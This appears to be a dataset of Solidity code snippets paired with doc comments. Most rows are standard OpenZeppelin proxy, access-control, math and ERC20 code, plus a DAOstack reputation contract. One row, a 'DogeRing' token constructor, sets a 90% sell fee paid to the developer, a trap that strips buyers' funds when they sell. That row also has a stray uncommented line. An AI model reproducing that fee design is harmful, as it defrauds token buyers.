| 1,789,245 |
pragma solidity ^0.6.2;
import "@openzeppelin/contracts/proxy/TransparentUpgradeableProxy.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
contract EnterpriseWallet1155Proxy is TransparentUpgradeableProxy {
constructor(address _logic, address _admin, bytes memory _data) public TransparentUpgradeableProxy(_logic, _admin, _data) {
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _admin();
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.2 <0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "./Proxy.sol";
import "../utils/Address.sol";
/**
* @dev This contract implements an upgradeable proxy. It is upgradeable because calls are delegated to an
* implementation address that can be changed. This address is stored in storage in the location specified by
* https://eips.ethereum.org/EIPS/eip-1967[EIP1967], so that it doesn't conflict with the storage layout of the
* implementation behind the proxy.
*
* Upgradeability is only provided internally through {_upgradeTo}. For an externally upgradeable proxy see
* {TransparentUpgradeableProxy}.
*/
contract UpgradeableProxy is Proxy {
/**
* @dev Initializes the upgradeable proxy with an initial implementation specified by `_logic`.
*
* If `_data` is nonempty, it's used as data in a delegate call to `_logic`. This will typically be an encoded
* function call, and allows initializating the storage of the proxy like a Solidity constructor.
*/
constructor(address _logic, bytes memory _data) public payable {
assert(_IMPLEMENTATION_SLOT == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1));
_setImplementation(_logic);
if(_data.length > 0) {
Address.functionDelegateCall(_logic, _data);
}
}
/**
* @dev Emitted when the implementation is upgraded.
*/
event Upgraded(address indexed implementation);
/**
* @dev Storage slot with the address of the current implementation.
* This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 private constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
/**
* @dev Returns the current implementation address.
*/
function _implementation() internal view virtual override returns (address impl) {
bytes32 slot = _IMPLEMENTATION_SLOT;
// solhint-disable-next-line no-inline-assembly
assembly {
impl := sload(slot)
}
}
/**
* @dev Upgrades the proxy to a new implementation.
*
* Emits an {Upgraded} event.
*/
function _upgradeTo(address newImplementation) internal virtual {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
/**
* @dev Stores a new address in the EIP1967 implementation slot.
*/
function _setImplementation(address newImplementation) private {
require(Address.isContract(newImplementation), "UpgradeableProxy: new implementation is not a contract");
bytes32 slot = _IMPLEMENTATION_SLOT;
// solhint-disable-next-line no-inline-assembly
assembly {
sstore(slot, newImplementation)
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "./UpgradeableProxy.sol";
/**
* @dev This contract implements a proxy that is upgradeable by an admin.
*
* To avoid https://medium.com/nomic-labs-blog/malicious-backdoors-in-ethereum-proxies-62629adf3357[proxy selector
* clashing], which can potentially be used in an attack, this contract uses the
* https://blog.openzeppelin.com/the-transparent-proxy-pattern/[transparent proxy pattern]. This pattern implies two
* things that go hand in hand:
*
* 1. If any account other than the admin calls the proxy, the call will be forwarded to the implementation, even if
* that call matches one of the admin functions exposed by the proxy itself.
* 2. If the admin calls the proxy, it can access the admin functions, but its calls will never be forwarded to the
* implementation. If the admin tries to call a function on the implementation it will fail with an error that says
* "admin cannot fallback to proxy target".
*
* These properties mean that the admin account can only be used for admin actions like upgrading the proxy or changing
* the admin, so it's best if it's a dedicated account that is not used for anything else. This will avoid headaches due
* to sudden errors when trying to call a function from the proxy implementation.
*
* Our recommendation is for the dedicated account to be an instance of the {ProxyAdmin} contract. If set up this way,
* you should think of the `ProxyAdmin` instance as the real administrative interface of your proxy.
*/
contract TransparentUpgradeableProxy is UpgradeableProxy {
/**
* @dev Initializes an upgradeable proxy managed by `_admin`, backed by the implementation at `_logic`, and
* optionally initialized with `_data` as explained in {UpgradeableProxy-constructor}.
*/
constructor(address _logic, address admin_, bytes memory _data) public payable UpgradeableProxy(_logic, _data) {
assert(_ADMIN_SLOT == bytes32(uint256(keccak256("eip1967.proxy.admin")) - 1));
_setAdmin(admin_);
}
/**
* @dev Emitted when the admin account has changed.
*/
event AdminChanged(address previousAdmin, address newAdmin);
/**
* @dev Storage slot with the admin of the contract.
* This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 private constant _ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;
/**
* @dev Modifier used internally that will delegate the call to the implementation unless the sender is the admin.
*/
modifier ifAdmin() {
if (msg.sender == _admin()) {
_;
} else {
_fallback();
}
}
/**
* @dev Returns the current admin.
*
* NOTE: Only the admin can call this function. See {ProxyAdmin-getProxyAdmin}.
*
* TIP: To get this value clients can read directly from the storage slot shown below (specified by EIP1967) using the
* https://eth.wiki/json-rpc/API#eth_getstorageat[`eth_getStorageAt`] RPC call.
* `0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103`
*/
function admin() external ifAdmin returns (address admin_) {
admin_ = _admin();
}
/**
* @dev Returns the current implementation.
*
* NOTE: Only the admin can call this function. See {ProxyAdmin-getProxyImplementation}.
*
* TIP: To get this value clients can read directly from the storage slot shown below (specified by EIP1967) using the
* https://eth.wiki/json-rpc/API#eth_getstorageat[`eth_getStorageAt`] RPC call.
* `0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc`
*/
function implementation() external ifAdmin returns (address implementation_) {
implementation_ = _implementation();
}
/**
* @dev Changes the admin of the proxy.
*
* Emits an {AdminChanged} event.
*
* NOTE: Only the admin can call this function. See {ProxyAdmin-changeProxyAdmin}.
*/
function changeAdmin(address newAdmin) external virtual ifAdmin {
require(newAdmin != address(0), "TransparentUpgradeableProxy: new admin is the zero address");
emit AdminChanged(_admin(), newAdmin);
_setAdmin(newAdmin);
}
/**
* @dev Upgrade the implementation of the proxy.
*
* NOTE: Only the admin can call this function. See {ProxyAdmin-upgrade}.
*/
function upgradeTo(address newImplementation) external virtual ifAdmin {
_upgradeTo(newImplementation);
}
/**
* @dev Upgrade the implementation of the proxy, and then call a function from the new implementation as specified
* by `data`, which should be an encoded function call. This is useful to initialize new storage variables in the
* proxied contract.
*
* NOTE: Only the admin can call this function. See {ProxyAdmin-upgradeAndCall}.
*/
function upgradeToAndCall(address newImplementation, bytes calldata data) external payable virtual ifAdmin {
_upgradeTo(newImplementation);
Address.functionDelegateCall(newImplementation, data);
}
/**
* @dev Returns the current admin.
*/
function _admin() internal view virtual returns (address adm) {
bytes32 slot = _ADMIN_SLOT;
// solhint-disable-next-line no-inline-assembly
assembly {
adm := sload(slot)
}
}
/**
* @dev Stores a new address in the EIP1967 admin slot.
*/
function _setAdmin(address newAdmin) private {
bytes32 slot = _ADMIN_SLOT;
// solhint-disable-next-line no-inline-assembly
assembly {
sstore(slot, newAdmin)
}
}
/**
* @dev Makes sure the admin cannot access the fallback function. See {Proxy-_beforeFallback}.
*/
function _beforeFallback() internal virtual override {
require(msg.sender != _admin(), "TransparentUpgradeableProxy: admin cannot fallback to proxy target");
super._beforeFallback();
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev This abstract contract provides a fallback function that delegates all calls to another contract using the EVM
* instruction `delegatecall`. We refer to the second contract as the _implementation_ behind the proxy, and it has to
* be specified by overriding the virtual {_implementation} function.
*
* Additionally, delegation to the implementation can be triggered manually through the {_fallback} function, or to a
* different contract through the {_delegate} function.
*
* The success and return data of the delegated call will be returned back to the caller of the proxy.
*/
abstract contract Proxy {
/**
* @dev Delegates the current call to `implementation`.
*
* This function does not return to its internall call site, it will return directly to the external caller.
*/
function _delegate(address implementation) internal virtual {
// solhint-disable-next-line no-inline-assembly
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize())
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize())
switch result
// delegatecall returns 0 on error.
case 0 { revert(0, returndatasize()) }
default { return(0, returndatasize()) }
}
}
/**
* @dev This is a virtual function that should be overriden so it returns the address to which the fallback function
* and {_fallback} should delegate.
*/
function _implementation() internal view virtual returns (address);
/**
* @dev Delegates the current call to the address returned by `_implementation()`.
*
* This function does not return to its internall call site, it will return directly to the external caller.
*/
function _fallback() internal virtual {
_beforeFallback();
_delegate(_implementation());
}
/**
* @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if no other
* function in the contract matches the call data.
*/
fallback () external payable virtual {
_fallback();
}
/**
* @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if call data
* is empty.
*/
receive () external payable virtual {
_fallback();
}
/**
* @dev Hook that is called before falling back to the implementation. Can happen as part of a manual `_fallback`
* call, or as part of the Solidity `fallback` or `receive` functions.
*
* If overriden should call `super._beforeFallback()`.
*/
function _beforeFallback() internal virtual {
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
|
Returns the address of the current owner./
|
function owner() public view returns (address) {
return _admin();
}
| 14,385,079 |
./partial_match/1/0x22dA4fF61e0be9d7c4280D62cECED759413507B1/sources/DogeRing.sol
|
exclude from paying fees or having max transaction amount
|
constructor() ERC20("Doge Ring ", "DOGERING") {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
excludeFromMaxTransaction(address(_uniswapV2Router), true);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), USDC);
excludeFromMaxTransaction(address(uniswapV2Pair), true);
uint256 _buyDevFee = 3;
uint256 _buyLiquidityFee = 0;
uint256 _sellDevFee = 90;
uint256 _sellLiquidityFee = 0;
uint256 totalSupply = 100_000_000_000 * 1e18;
buyDevFee = _buyDevFee;
buyLiquidityFee = _buyLiquidityFee;
buyTotalFees = buyDevFee + buyLiquidityFee;
sellDevFee = _sellDevFee;
sellLiquidityFee = _sellLiquidityFee;
sellTotalFees = sellDevFee + sellLiquidityFee;
excludeFromFees(owner(), true);
excludeFromFees(address(this), true);
excludeFromFees(address(0xdead), true);
excludeFromMaxTransaction(owner(), true);
excludeFromMaxTransaction(address(this), true);
excludeFromMaxTransaction(address(0xdead), true);
_mint is an internal function in ERC20.sol that is only called here,
and CANNOT be called ever again
_mint(msg.sender, totalSupply);
| 16,121,542 |
// File: openzeppelin-solidity/contracts/access/Roles.sol
pragma solidity ^0.5.0;
/**
* @title Roles
* @dev Library for managing addresses assigned to a Role.
*/
library Roles {
struct Role {
mapping (address => bool) bearer;
}
/**
* @dev give an account access to this role
*/
function add(Role storage role, address account) internal {
require(account != address(0));
require(!has(role, account));
role.bearer[account] = true;
}
/**
* @dev remove an account's access to this role
*/
function remove(Role storage role, address account) internal {
require(account != address(0));
require(has(role, account));
role.bearer[account] = false;
}
/**
* @dev check if an account has this role
* @return bool
*/
function has(Role storage role, address account) internal view returns (bool) {
require(account != address(0));
return role.bearer[account];
}
}
// File: openzeppelin-solidity/contracts/math/SafeMath.sol
pragma solidity ^0.5.0;
/**
* @title SafeMath
* @dev Unsigned math operations with safety checks that revert on error
*/
library SafeMath {
/**
* @dev Multiplies two unsigned integers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
/**
* @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
/**
* @dev Adds two unsigned integers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
/**
* @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
// File: openzeppelin-solidity/contracts/access/roles/PauserRole.sol
pragma solidity ^0.5.0;
contract PauserRole {
using Roles for Roles.Role;
event PauserAdded(address indexed account);
event PauserRemoved(address indexed account);
Roles.Role private _pausers;
constructor () internal {
_addPauser(msg.sender);
}
modifier onlyPauser() {
require(isPauser(msg.sender));
_;
}
function isPauser(address account) public view returns (bool) {
return _pausers.has(account);
}
function addPauser(address account) public onlyPauser {
_addPauser(account);
}
function renouncePauser() public {
_removePauser(msg.sender);
}
function _addPauser(address account) internal {
_pausers.add(account);
emit PauserAdded(account);
}
function _removePauser(address account) internal {
_pausers.remove(account);
emit PauserRemoved(account);
}
}
// File: openzeppelin-solidity/contracts/lifecycle/Pausable.sol
pragma solidity ^0.5.0;
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is PauserRole {
event Paused(address account);
event Unpaused(address account);
bool private _paused;
constructor () internal {
_paused = false;
}
/**
* @return true if the contract is paused, false otherwise.
*/
function paused() public view returns (bool) {
return _paused;
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!_paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(_paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() public onlyPauser whenNotPaused {
_paused = true;
emit Paused(msg.sender);
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() public onlyPauser whenPaused {
_paused = false;
emit Unpaused(msg.sender);
}
}
// File: openzeppelin-solidity/contracts/ownership/Ownable.sol
pragma solidity ^0.5.0;
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor () internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
/**
* @return the address of the owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(isOwner());
_;
}
/**
* @return true if `msg.sender` is the owner of the contract.
*/
function isOwner() public view returns (bool) {
return msg.sender == _owner;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
* @notice Renouncing to ownership will leave the contract without an owner.
* It will not be possible to call the functions with the `onlyOwner`
* modifier anymore.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0));
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File: @daostack/infra/contracts/Reputation.sol
pragma solidity ^0.5.4;
/**
* @title Reputation system
* @dev A DAO has Reputation System which allows peers to rate other peers in order to build trust .
* A reputation is use to assign influence measure to a DAO'S peers.
* Reputation is similar to regular tokens but with one crucial difference: It is non-transferable.
* The Reputation contract maintain a map of address to reputation value.
* It provides an onlyOwner functions to mint and burn reputation _to (or _from) a specific address.
*/
contract Reputation is Ownable {
uint8 public decimals = 18; //Number of decimals of the smallest unit
// Event indicating minting of reputation to an address.
event Mint(address indexed _to, uint256 _amount);
// Event indicating burning of reputation for an address.
event Burn(address indexed _from, uint256 _amount);
/// @dev `Checkpoint` is the structure that attaches a block number to a
/// given value, the block number attached is the one that last changed the
/// value
struct Checkpoint {
// `fromBlock` is the block number that the value was generated from
uint128 fromBlock;
// `value` is the amount of reputation at a specific block number
uint128 value;
}
// `balances` is the map that tracks the balance of each address, in this
// contract when the balance changes the block number that the change
// occurred is also included in the map
mapping (address => Checkpoint[]) balances;
// Tracks the history of the `totalSupply` of the reputation
Checkpoint[] totalSupplyHistory;
/// @notice Constructor to create a Reputation
constructor(
) public
{
}
/// @dev This function makes it easy to get the total number of reputation
/// @return The total number of reputation
function totalSupply() public view returns (uint256) {
return totalSupplyAt(block.number);
}
////////////////
// Query balance and totalSupply in History
////////////////
/**
* @dev return the reputation amount of a given owner
* @param _owner an address of the owner which we want to get his reputation
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balanceOfAt(_owner, block.number);
}
/// @dev Queries the balance of `_owner` at a specific `_blockNumber`
/// @param _owner The address from which the balance will be retrieved
/// @param _blockNumber The block number when the balance is queried
/// @return The balance at `_blockNumber`
function balanceOfAt(address _owner, uint256 _blockNumber)
public view returns (uint256)
{
if ((balances[_owner].length == 0) || (balances[_owner][0].fromBlock > _blockNumber)) {
return 0;
// This will return the expected balance during normal situations
} else {
return getValueAt(balances[_owner], _blockNumber);
}
}
/// @notice Total amount of reputation at a specific `_blockNumber`.
/// @param _blockNumber The block number when the totalSupply is queried
/// @return The total amount of reputation at `_blockNumber`
function totalSupplyAt(uint256 _blockNumber) public view returns(uint256) {
if ((totalSupplyHistory.length == 0) || (totalSupplyHistory[0].fromBlock > _blockNumber)) {
return 0;
// This will return the expected totalSupply during normal situations
} else {
return getValueAt(totalSupplyHistory, _blockNumber);
}
}
/// @notice Generates `_amount` reputation that are assigned to `_owner`
/// @param _user The address that will be assigned the new reputation
/// @param _amount The quantity of reputation generated
/// @return True if the reputation are generated correctly
function mint(address _user, uint256 _amount) public onlyOwner returns (bool) {
uint256 curTotalSupply = totalSupply();
require(curTotalSupply + _amount >= curTotalSupply); // Check for overflow
uint256 previousBalanceTo = balanceOf(_user);
require(previousBalanceTo + _amount >= previousBalanceTo); // Check for overflow
updateValueAtNow(totalSupplyHistory, curTotalSupply + _amount);
updateValueAtNow(balances[_user], previousBalanceTo + _amount);
emit Mint(_user, _amount);
return true;
}
/// @notice Burns `_amount` reputation from `_owner`
/// @param _user The address that will lose the reputation
/// @param _amount The quantity of reputation to burn
/// @return True if the reputation are burned correctly
function burn(address _user, uint256 _amount) public onlyOwner returns (bool) {
uint256 curTotalSupply = totalSupply();
uint256 amountBurned = _amount;
uint256 previousBalanceFrom = balanceOf(_user);
if (previousBalanceFrom < amountBurned) {
amountBurned = previousBalanceFrom;
}
updateValueAtNow(totalSupplyHistory, curTotalSupply - amountBurned);
updateValueAtNow(balances[_user], previousBalanceFrom - amountBurned);
emit Burn(_user, amountBurned);
return true;
}
////////////////
// Internal helper functions to query and set a value in a snapshot array
////////////////
/// @dev `getValueAt` retrieves the number of reputation at a given block number
/// @param checkpoints The history of values being queried
/// @param _block The block number to retrieve the value at
/// @return The number of reputation being queried
function getValueAt(Checkpoint[] storage checkpoints, uint256 _block) internal view returns (uint256) {
if (checkpoints.length == 0) {
return 0;
}
// Shortcut for the actual value
if (_block >= checkpoints[checkpoints.length-1].fromBlock) {
return checkpoints[checkpoints.length-1].value;
}
if (_block < checkpoints[0].fromBlock) {
return 0;
}
// Binary search of the value in the array
uint256 min = 0;
uint256 max = checkpoints.length-1;
while (max > min) {
uint256 mid = (max + min + 1) / 2;
if (checkpoints[mid].fromBlock<=_block) {
min = mid;
} else {
max = mid-1;
}
}
return checkpoints[min].value;
}
/// @dev `updateValueAtNow` used to update the `balances` map and the
/// `totalSupplyHistory`
/// @param checkpoints The history of data being updated
/// @param _value The new number of reputation
function updateValueAtNow(Checkpoint[] storage checkpoints, uint256 _value) internal {
require(uint128(_value) == _value); //check value is in the 128 bits bounderies
if ((checkpoints.length == 0) || (checkpoints[checkpoints.length - 1].fromBlock < block.number)) {
Checkpoint storage newCheckPoint = checkpoints[checkpoints.length++];
newCheckPoint.fromBlock = uint128(block.number);
newCheckPoint.value = uint128(_value);
} else {
Checkpoint storage oldCheckPoint = checkpoints[checkpoints.length-1];
oldCheckPoint.value = uint128(_value);
}
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/IERC20.sol
pragma solidity ^0.5.0;
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
interface IERC20 {
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol
pragma solidity ^0.5.0;
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md
* Originally based on code by FirstBlood:
* https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*
* This implementation emits additional Approval events, allowing applications to reconstruct the allowance status for
* all accounts just by listening to said events. Note that this isn't required by the specification, and other
* compliant implementations may not do it.
*/
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
uint256 private _totalSupply;
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
/**
* @dev Gets the balance of the specified address.
* @param owner The address to query the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param owner address The address which owns the funds.
* @param spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address owner, address spender) public view returns (uint256) {
return _allowed[owner][spender];
}
/**
* @dev Transfer token for a specified address
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function transfer(address to, uint256 value) public returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
